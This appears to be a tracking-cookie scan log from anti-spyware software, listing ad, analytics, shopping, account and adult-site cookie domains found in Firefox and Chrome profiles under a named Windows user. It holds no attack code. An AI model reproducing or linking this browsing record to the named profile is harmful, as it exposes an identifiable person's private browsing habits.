.legolas-media.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.tripod.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.888media.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.adxpose.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.888media.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.f.megaclick.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.f.megaclick.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.megaclick.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
s03.flagcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.dlv.itmedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.twittercounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.twittercounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.twittercounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.gostats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.itmedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.histats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.histats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.legolas-media.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
flagcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
wstat.wibiya.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
sales.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
t.webtracker.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
s06.flagcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.pro-market.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.amazon-adsystem.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.amazon-adsystem.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.zenback.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.zenback.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.thefind.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.thefind.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.thefind.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.thefind.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.thefind.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.gostats.cn [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.adult.dougapost.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.adult.dougapost.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
adult.dougapost.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
adult.dougapost.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
adult.dougapost.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
s08.flagcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
find.2ch.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.find.2ch.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.find.2ch.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
plusd.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
plusd.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.adform.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
server.adformdsp.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.adformdsp.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
fidelity.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
fidelity.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.harrenmedianetwork.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.lfstmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.lfstmedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.a.revenuemax.de [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
s05.flagcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
edznmultimedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www7.addfreestats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.webmasterplan.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.webmasterplan.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.zanox-affiliate.de [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.zanox.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.legolas-media.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.legolas-media.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.zoho.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
banners.sys-con.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
ad3.gmo-media.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrymagazine.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrymagazine.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrymagazine.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrymagazine.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrygear.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrygear.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountrygear.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountrygear.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.liveperson.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
us.2.cqcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
link.mercent.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
www.backcountry.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
